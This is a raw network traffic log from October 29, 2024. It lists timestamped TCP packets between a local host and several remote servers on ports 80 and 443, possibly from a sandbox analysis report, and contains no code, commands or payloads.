Oct 29, 2024 13:08:37.312716007 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:37.317687035 CET	80	49767	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:37.317986965 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:37.318072081 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:37.321293116 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:37.326762915 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:37.363861084 CET	60480	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:37.363948107 CET	443	60480	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:37.364048958 CET	60480	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:37.364656925 CET	60480	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:37.364690065 CET	443	60480	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:37.424559116 CET	443	60474	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.424736977 CET	443	60474	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.424818039 CET	60474	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.424968004 CET	60474	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.425008059 CET	443	60474	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.425035000 CET	60474	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.425049067 CET	443	60474	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.427819967 CET	60481	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.427906990 CET	443	60481	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.428030014 CET	60481	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.428183079 CET	60481	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.428220034 CET	443	60481	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.731076002 CET	443	60475	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.731702089 CET	60475	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.731754065 CET	443	60475	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.732178926 CET	60475	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.732192039 CET	443	60475	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.839807034 CET	443	60476	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.840239048 CET	60476	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.840300083 CET	443	60476	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.840730906 CET	60476	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.840744972 CET	443	60476	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.861752033 CET	443	60475	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.861829042 CET	443	60475	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.861896038 CET	60475	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.862066984 CET	60475	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.862111092 CET	443	60475	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.862138987 CET	60475	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.862153053 CET	443	60475	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.865211010 CET	60482	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.865246058 CET	443	60482	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.865750074 CET	60482	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.866375923 CET	60482	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.866385937 CET	443	60482	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.951509953 CET	443	60478	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.952054977 CET	60478	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.952086926 CET	443	60478	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.952467918 CET	60478	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.952475071 CET	443	60478	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.954370022 CET	443	60477	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.954674959 CET	60477	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.954695940 CET	443	60477	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.955041885 CET	60477	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.955048084 CET	443	60477	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.976577997 CET	443	60476	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.976632118 CET	443	60476	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.976706982 CET	443	60476	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.976771116 CET	60476	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.976906061 CET	60476	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.976931095 CET	443	60476	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.976944923 CET	60476	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.976953030 CET	443	60476	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.979968071 CET	60483	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.979995966 CET	443	60483	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:37.980103970 CET	60483	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.980279922 CET	60483	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:37.980293036 CET	443	60483	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.024394989 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:38.024454117 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:38.030175924 CET	60484	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:38.030272007 CET	443	60484	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:38.030358076 CET	60484	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:38.030781031 CET	60484	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:38.030817032 CET	443	60484	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:38.088454008 CET	443	60477	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.088573933 CET	443	60477	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.088588953 CET	443	60478	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.088639021 CET	60477	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.088833094 CET	60477	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.088871002 CET	443	60477	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.088917971 CET	60477	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.088933945 CET	443	60477	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.090661049 CET	443	60478	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.090720892 CET	443	60478	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.090722084 CET	60478	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.090789080 CET	60478	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.090893984 CET	60478	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.090893984 CET	60478	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.090918064 CET	443	60478	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.090938091 CET	443	60478	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.091914892 CET	60485	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.092016935 CET	443	60485	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.092089891 CET	60485	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.092226028 CET	60485	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.092250109 CET	443	60485	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.093007088 CET	60486	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.093058109 CET	443	60486	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.093261957 CET	60486	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.093378067 CET	60486	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.093405962 CET	443	60486	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.185058117 CET	443	60481	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.185843945 CET	60481	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.185878038 CET	443	60481	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.186374903 CET	60481	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.186381102 CET	443	60481	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.268852949 CET	443	60480	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:38.268930912 CET	60480	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:38.270086050 CET	60480	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:38.270111084 CET	443	60480	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:38.270358086 CET	443	60480	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:38.271388054 CET	60480	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:38.314691067 CET	443	60481	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.315145969 CET	443	60481	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.315242052 CET	60481	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.315242052 CET	60481	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.315242052 CET	60481	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.315336943 CET	443	60480	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:38.317898035 CET	60487	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.317987919 CET	443	60487	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.318147898 CET	60487	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.318413019 CET	60487	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.318444967 CET	443	60487	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.572897911 CET	443	60480	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:38.572922945 CET	443	60480	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:38.572964907 CET	443	60480	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:38.573000908 CET	60480	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:38.573055029 CET	443	60480	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:38.573087931 CET	60480	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:38.573117018 CET	60480	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:38.573920012 CET	443	60480	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:38.573992014 CET	60480	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:38.573992968 CET	443	60480	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:38.574070930 CET	60480	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:38.576761007 CET	60480	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:38.576792955 CET	443	60480	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:38.576826096 CET	60480	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:38.576839924 CET	443	60480	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:38.605889082 CET	443	60482	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.606362104 CET	60482	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.606414080 CET	443	60482	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.606837034 CET	60482	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.606853008 CET	443	60482	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.614090919 CET	60481	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.614156961 CET	443	60481	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.734415054 CET	443	60482	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.734935045 CET	443	60482	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.735019922 CET	60482	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.737533092 CET	60482	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.737569094 CET	443	60482	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.737596989 CET	60482	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.737612009 CET	443	60482	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.741265059 CET	60488	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.741311073 CET	443	60488	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.741427898 CET	60488	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.741797924 CET	60488	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.741815090 CET	443	60488	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.752161980 CET	443	60483	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.752927065 CET	60483	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.753000021 CET	443	60483	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.753354073 CET	60483	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.753365993 CET	443	60483	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.767657042 CET	443	60484	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:38.767744064 CET	60484	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:38.768213987 CET	60484	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:38.768240929 CET	443	60484	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:38.768568993 CET	60484	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:38.768584013 CET	443	60484	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:38.825875044 CET	443	60485	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.826548100 CET	60485	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.826579094 CET	443	60485	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.827191114 CET	60485	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.827198982 CET	443	60485	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.833420038 CET	443	60486	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.834191084 CET	60486	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.834254980 CET	443	60486	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.834628105 CET	60486	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.834645987 CET	443	60486	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.855005980 CET	60489	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:38.855046988 CET	443	60489	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:38.855123043 CET	60489	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:38.855482101 CET	60489	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:38.855499029 CET	443	60489	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:38.907941103 CET	443	60483	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.908019066 CET	443	60483	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.908248901 CET	60483	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.908320904 CET	60483	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.908365011 CET	443	60483	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.908391953 CET	60483	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.908407927 CET	443	60483	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.911144018 CET	60490	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.911181927 CET	443	60490	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.911264896 CET	60490	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.911398888 CET	60490	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.911406040 CET	443	60490	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.952121973 CET	443	60484	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:38.952202082 CET	60484	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:38.952240944 CET	443	60484	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:38.952308893 CET	60484	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:38.952346087 CET	443	60484	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:38.952363014 CET	60484	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:38.952400923 CET	443	60484	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:38.952429056 CET	60484	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:38.952462912 CET	60484	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:38.952523947 CET	60484	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:38.959971905 CET	443	60485	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.960154057 CET	443	60485	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.960191011 CET	443	60485	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.960210085 CET	60485	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.960253000 CET	60485	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.960325003 CET	60485	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.960325003 CET	60485	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.960359097 CET	443	60485	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.960381985 CET	443	60485	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.962862968 CET	60491	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.962919950 CET	443	60491	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.963063002 CET	60491	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.963213921 CET	60491	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.963243961 CET	443	60491	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.965151072 CET	443	60486	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.965223074 CET	443	60486	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.965291977 CET	60486	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.965452909 CET	60486	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.965452909 CET	60486	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.965482950 CET	443	60486	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.965522051 CET	443	60486	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.967598915 CET	60492	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.967634916 CET	443	60492	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:38.967801094 CET	60492	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.967941046 CET	60492	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:38.967955112 CET	443	60492	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.052813053 CET	443	60487	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.053379059 CET	60487	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.053409100 CET	443	60487	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.053889036 CET	60487	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.053894997 CET	443	60487	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.181391954 CET	443	60487	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.181543112 CET	443	60487	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.181936979 CET	60487	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.182138920 CET	60487	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.182187080 CET	443	60487	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.182215929 CET	60487	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.182246923 CET	443	60487	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.185018063 CET	60493	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.185098886 CET	443	60493	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.185190916 CET	60493	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.185326099 CET	60493	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.185343027 CET	443	60493	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.630502939 CET	443	60488	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.640392065 CET	60488	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.640403986 CET	443	60488	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.641082048 CET	60488	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.641088963 CET	443	60488	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.641552925 CET	443	60490	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.641957045 CET	60490	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.641971111 CET	443	60490	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.642649889 CET	60490	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.642654896 CET	443	60490	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.695349932 CET	443	60491	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.697213888 CET	60491	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.697236061 CET	443	60491	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.697859049 CET	60491	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.697864056 CET	443	60491	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.741296053 CET	443	60492	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.741941929 CET	60492	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.741957903 CET	443	60492	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.742500067 CET	60492	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.742503881 CET	443	60492	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.751430988 CET	443	60489	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:39.751519918 CET	60489	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:39.752859116 CET	60489	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:39.752882957 CET	443	60489	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:39.753109932 CET	443	60489	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:39.754061937 CET	60489	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:39.772289038 CET	443	60490	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.772315025 CET	443	60490	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.772365093 CET	443	60490	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.772408009 CET	60490	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.772449017 CET	60490	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.772746086 CET	60490	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.772746086 CET	60490	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.772758961 CET	443	60490	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.772767067 CET	443	60490	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.776391983 CET	60494	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.776422977 CET	443	60494	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.776523113 CET	60494	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.776642084 CET	60494	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.776654005 CET	443	60494	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.779762983 CET	443	60488	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.779934883 CET	443	60488	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.780021906 CET	60488	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.780085087 CET	60488	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.780085087 CET	60488	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.780091047 CET	443	60488	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.780097008 CET	443	60488	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.782263994 CET	60495	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.782304049 CET	443	60495	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.782426119 CET	60495	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.782531023 CET	60495	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.782543898 CET	443	60495	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.795332909 CET	443	60489	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:39.835500956 CET	443	60491	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.835582972 CET	443	60491	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.835989952 CET	60491	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.836030006 CET	60491	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.836052895 CET	443	60491	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.836066961 CET	60491	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.836074114 CET	443	60491	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.838433981 CET	60496	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.838458061 CET	443	60496	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.838659048 CET	60496	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.838816881 CET	60496	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.838824987 CET	443	60496	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.881979942 CET	443	60492	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.882004976 CET	443	60492	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.882044077 CET	60492	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.882051945 CET	443	60492	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.882072926 CET	443	60492	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.882107019 CET	60492	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.882294893 CET	60492	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.882304907 CET	443	60492	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.882313013 CET	60492	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.882317066 CET	443	60492	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.885333061 CET	60497	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.885358095 CET	443	60497	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.885543108 CET	60497	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.885543108 CET	60497	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.885565996 CET	443	60497	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.926979065 CET	443	60493	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.927367926 CET	60493	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.927402973 CET	443	60493	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:39.927942038 CET	60493	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:39.927947998 CET	443	60493	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.053678036 CET	443	60489	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:40.053710938 CET	443	60489	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:40.053728104 CET	443	60489	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:40.053785086 CET	60489	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:40.053855896 CET	443	60489	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:40.053898096 CET	60489	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:40.053920984 CET	60489	443	192.168.2.5	52.149.20.212
